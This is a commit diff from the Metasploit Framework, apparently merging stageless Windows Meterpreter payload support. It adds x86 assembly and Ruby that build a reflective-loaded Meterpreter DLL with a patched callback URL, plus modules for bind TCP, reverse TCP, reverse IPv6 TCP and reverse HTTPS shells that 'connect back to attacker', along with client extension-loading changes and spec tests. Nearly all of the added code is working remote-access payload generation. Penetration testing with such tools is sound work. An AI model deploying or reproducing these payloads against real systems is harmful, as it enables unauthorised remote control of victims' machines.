Land #4925, OJ adds self-contained windows meterpreter options

bug/bundler_fix
Brent Cook 2015-03-19 21:07:32 -05:00
commit 564962042e
No known key found for this signature in database
GPG Key ID: 1FFAA0B24B708F96
8 changed files with 406 additions and 17 deletions

View File

@ -323,7 +323,7 @@ protected
# Grab the checksummed version of CONN from the payload's request.
conn_id = req.relative_resource.gsub("/", "")
print_status("Incoming orphaned session #{conn_id}, reattaching...")
print_status("Incoming orphaned or stageless session #{conn_id}, attaching...")
# Short-circuit the payload's handle_connection processing for create_session
create_session(cli, {

View File

@ -0,0 +1,108 @@
#-*- coding: binary -*-
require 'msf/core'
module Msf
##
#
# Implements stageless invocation of metsrv in x86
#
##
module Payload::Windows::StagelessMeterpreter
include Msf::Payload::Windows
include Msf::Payload::Single
include Msf::ReflectiveDLLLoader
def asm_invoke_metsrv(opts={})
asm = %Q^
; prologue
dec ebp ; 'M'
pop edx ; 'Z'
call $+5 ; call next instruction
pop ebx ; get the current location (+7 bytes)
push edx ; restore edx
inc ebp ; restore ebp
push ebp ; save ebp for later
mov ebp, esp ; set up a new stack frame
; Invoke ReflectiveLoader()
; add the offset to ReflectiveLoader() (0x????????)
add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)}
call ebx ; invoke ReflectiveLoader()
; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket)
; offset from ReflectiveLoader() to the end of the DLL
add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
push ebx ; push the pointer to the extension list
push 4 ; indicate that we have attached
push eax ; push some arbitrary value for hInstance
mov ebx, eax ; save DllMain for another call
call ebx ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket)
; Invoke DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk)
; push the exitfunk value onto the stack
push #{"0x%.8x" % Msf::Payload::Windows.exit_types[opts[:exitfunk]]}
push 5 ; indicate that we have detached
push eax ; push some arbitrary value for hInstance
call ebx ; call DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk)
^
asm
end
def generate_stageless_meterpreter(url = nil)
dll, offset = load_rdi_dll(MeterpreterBinaries.path('metsrv', 'x86.dll'))
conf = {
:rdi_offset => offset,
:length => dll.length,
:exitfunk => datastore['EXITFUNC']
}
asm = asm_invoke_metsrv(conf)
# generate the bootstrap asm
bootstrap = Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
# sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry
if bootstrap.length > 62
print_error("Stageless Meterpreter generated with oversized x86 bootstrap.")
return
end
# patch the binary with all the stuff
dll[0, bootstrap.length] = bootstrap
# the URL might not be given, as it might be patched in some other way
if url
url = "s#{url}\x00"
location = dll.index("https://#{'X' * 256}")
if location
dll[location, url.length] = url
end
end
# if a block is given then call that with the meterpreter dll
# so that custom patching can happen if required
yield dll if block_given?
# append each extension to the payload, including
# the size of the extension
unless datastore['EXTENSIONS'].nil?
datastore['EXTENSIONS'].split(',').each do |e|
e = e.strip.downcase
ext, o = load_rdi_dll(MeterpreterBinaries.path("ext_server_#{e}", 'x86.dll'))
# append the size, offset to RDI and the payload itself
dll << [ext.length].pack('V') + ext
end
end
# Terminate the "list" of extensions
dll + [0].pack('V')
end
end
end

View File

@ -40,6 +40,33 @@ class ClientCore < Extension
# Core commands
#
##
#
#
# Get a list of loaded commands for the given extension.
#
def get_loaded_extension_commands(extension_name)
request = Packet.create_request('core_enumextcmd')
request.add_tlv(TLV_TYPE_STRING, extension_name)
response = self.client.send_packet_wait_response(request, self.client.response_timeout)
# No response?
if response.nil?
raise RuntimeError, "No response was received to the core_enumextcmd request.", caller
elsif response.result != 0
# This case happens when the target doesn't support the core_enumextcmd message.
# If this is the case, then we just want to ignore the error and return an empty
# list. This will force the caller to load any required modules.
return []
end
commands = []
response.each(TLV_TYPE_STRING) { |c|
commands << c.value
}
commands
end
#
# Loads a library on the remote meterpreter instance. This method
@ -153,25 +180,36 @@ class ClientCore < Extension
if mod.nil?
raise RuntimeError, "No modules were specified", caller
end
# Get us to the installation root and then into data/meterpreter, where
# the file is expected to be
modname = "ext_server_#{mod.downcase}"
path = MeterpreterBinaries.path(modname, client.binary_suffix)
if opts['ExtensionPath']
path = ::File.expand_path(opts['ExtensionPath'])
# Query the remote instance to see if commands for the extension are
# already loaded
commands = get_loaded_extension_commands(mod.downcase)
# if there are existing commands for the given extension, then we can use
# what's already there
unless commands.length > 0
# Get us to the installation root and then into data/meterpreter, where
# the file is expected to be
modname = "ext_server_#{mod.downcase}"
path = MeterpreterBinaries.path(modname, client.binary_suffix)
if opts['ExtensionPath']
path = ::File.expand_path(opts['ExtensionPath'])
end
if path.nil?
raise RuntimeError, "No module of the name #{modname}.#{client.binary_suffix} found", caller
end
# Load the extension DLL
commands = load_library(
'LibraryFilePath' => path,
'UploadLibrary' => true,
'Extension' => true,
'SaveToDisk' => opts['LoadFromDisk'])
end
if path.nil?
raise RuntimeError, "No module of the name #{modname}.#{client.binary_suffix} found", caller
end
# Load the extension DLL
commands = load_library(
'LibraryFilePath' => path,
'UploadLibrary' => true,
'Extension' => true,
'SaveToDisk' => opts['LoadFromDisk'])
# wire the commands into the client
client.add_extension(mod, commands)
return true

View File

@ -0,0 +1,44 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/bind_tcp'
require 'msf/core/payload/windows/stageless_meterpreter'
require 'msf/base/sessions/meterpreter_x86_win'
require 'msf/base/sessions/meterpreter_options'
module Metasploit3
CachedSize = :dynamic
include Msf::Payload::Windows::StagelessMeterpreter
include Msf::Sessions::MeterpreterOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Windows Meterpreter Shell, Bind TCP Inline',
'Description' => 'Connect to victim and spawn a Meterpreter shell',
'Author' => [ 'OJ Reeves' ],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::BindTcp,
'Session' => Msf::Sessions::Meterpreter_x86_Win
))
register_options([
OptString.new('EXTENSIONS', [false, "Comma-separate list of extensions to load"]),
], self.class)
end
def generate
# blank LHOST indicates bind payload
url = "tcp://:#{datastore['LPORT']}"
generate_stageless_meterpreter(url)
end
end

View File

@ -0,0 +1,72 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_https'
require 'msf/core/payload/windows/stageless_meterpreter'
require 'msf/base/sessions/meterpreter_x86_win'
require 'msf/base/sessions/meterpreter_options'
module Metasploit3
CachedSize = :dynamic
include Msf::Payload::Windows::StagelessMeterpreter
include Msf::Sessions::MeterpreterOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Windows Meterpreter Shell, Reverse HTTPS Inline',
'Description' => 'Connect back to attacker and spawn a Meterpreter shell',
'Author' => [ 'OJ Reeves' ],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::ReverseHttps,
'Session' => Msf::Sessions::Meterpreter_x86_Win
))
register_options([
OptString.new('EXTENSIONS', [false, "Comma-separate list of extensions to load"]),
], self.class)
end
def generate
checksum = generate_uri_checksum(Handler::ReverseHttp::UriChecksum::URI_CHECKSUM_CONN)
rand = Rex::Text.rand_text_alphanumeric(16)
url = "https://#{datastore['LHOST']}:#{datastore['LPORT']}/#{checksum}_#{rand}/"
generate_stageless_meterpreter(url) do |dll|
# TODO: figure out this bit
# patch the target ID into the URI if specified
#if opts[:target_id]
# i = dll.index("/123456789 HTTP/1.0\r\n\r\n\x00")
# if i
# t = opts[:target_id].to_s
# raise "Target ID must be less than 5 bytes" if t.length > 4
# u = "/B#{t} HTTP/1.0\r\n\r\n\x00"
# print_status("Patching Target ID #{t} into DLL")
# dll[i, u.length] = u
# end
#end
Rex::Payloads::Meterpreter::Patch.patch_passive_service! dll,
:url => url,
:ssl => true,
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:ua => datastore['MeterpreterUserAgent'],
:proxyhost => datastore['PROXYHOST'],
:proxyport => datastore['PROXYPORT'],
:proxy_type => datastore['PROXY_TYPE'],
:proxy_username => datastore['PROXY_USERNAME'],
:proxy_password => datastore['PROXY_PASSWORD']
end
end
end

View File

@ -0,0 +1,44 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/core/payload/windows/stageless_meterpreter'
require 'msf/base/sessions/meterpreter_x86_win'
require 'msf/base/sessions/meterpreter_options'
module Metasploit3
CachedSize = :dynamic
include Msf::Payload::Windows::StagelessMeterpreter
include Msf::Sessions::MeterpreterOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Windows Meterpreter Shell, Reverse TCP Inline (IPv6)',
'Description' => 'Connect back to attacker and spawn a Meterpreter shell',
'Author' => [ 'OJ Reeves' ],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::Meterpreter_x86_Win
))
register_options([
OptString.new('EXTENSIONS', [false, "Comma-separate list of extensions to load"]),
OptInt.new("SCOPEID", [false, "The IPv6 Scope ID, required for link-layer addresses", 0])
], self.class)
end
def generate
url = "tcp6://#{datastore['LHOST']}:#{datastore['LPORT']}?#{datastore['SCOPEID']}"
generate_stageless_meterpreter(url)
end
end

View File

@ -0,0 +1,43 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/core/payload/windows/stageless_meterpreter'
require 'msf/base/sessions/meterpreter_x86_win'
require 'msf/base/sessions/meterpreter_options'
module Metasploit3
CachedSize = :dynamic
include Msf::Payload::Windows::StagelessMeterpreter
include Msf::Sessions::MeterpreterOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Windows Meterpreter Shell, Reverse TCP Inline',
'Description' => 'Connect back to attacker and spawn a Meterpreter shell',
'Author' => [ 'OJ Reeves' ],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::Meterpreter_x86_Win
))
register_options([
OptString.new('EXTENSIONS', [false, "Comma-separate list of extensions to load"]),
], self.class)
end
def generate
url = "tcp://#{datastore['LHOST']}:#{datastore['LPORT']}"
generate_stageless_meterpreter(url)
end
end

View File

@ -2432,6 +2432,46 @@ describe 'modules/payloads', :content do
reference_name: 'windows/messagebox'
end
context 'windows/meterpreter_bind_tcp' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
'singles/windows/meterpreter_bind_tcp'
],
dynamic_size: true,
modules_pathname: modules_pathname,
reference_name: 'windows/meterpreter_bind_tcp'
end
context 'windows/meterpreter_reverse_https' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
'singles/windows/meterpreter_reverse_https'
],
dynamic_size: true,
modules_pathname: modules_pathname,
reference_name: 'windows/meterpreter_reverse_https'
end
context 'windows/meterpreter_reverse_ipv6_tcp' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
'singles/windows/meterpreter_reverse_ipv6_tcp'
],
dynamic_size: true,
modules_pathname: modules_pathname,
reference_name: 'windows/meterpreter_reverse_ipv6_tcp'
end
context 'windows/meterpreter_reverse_tcp' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
'singles/windows/meterpreter_reverse_tcp'
],
dynamic_size: true,
modules_pathname: modules_pathname,
reference_name: 'windows/meterpreter_reverse_tcp'
end
context 'windows/meterpreter/bind_ipv6_tcp' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [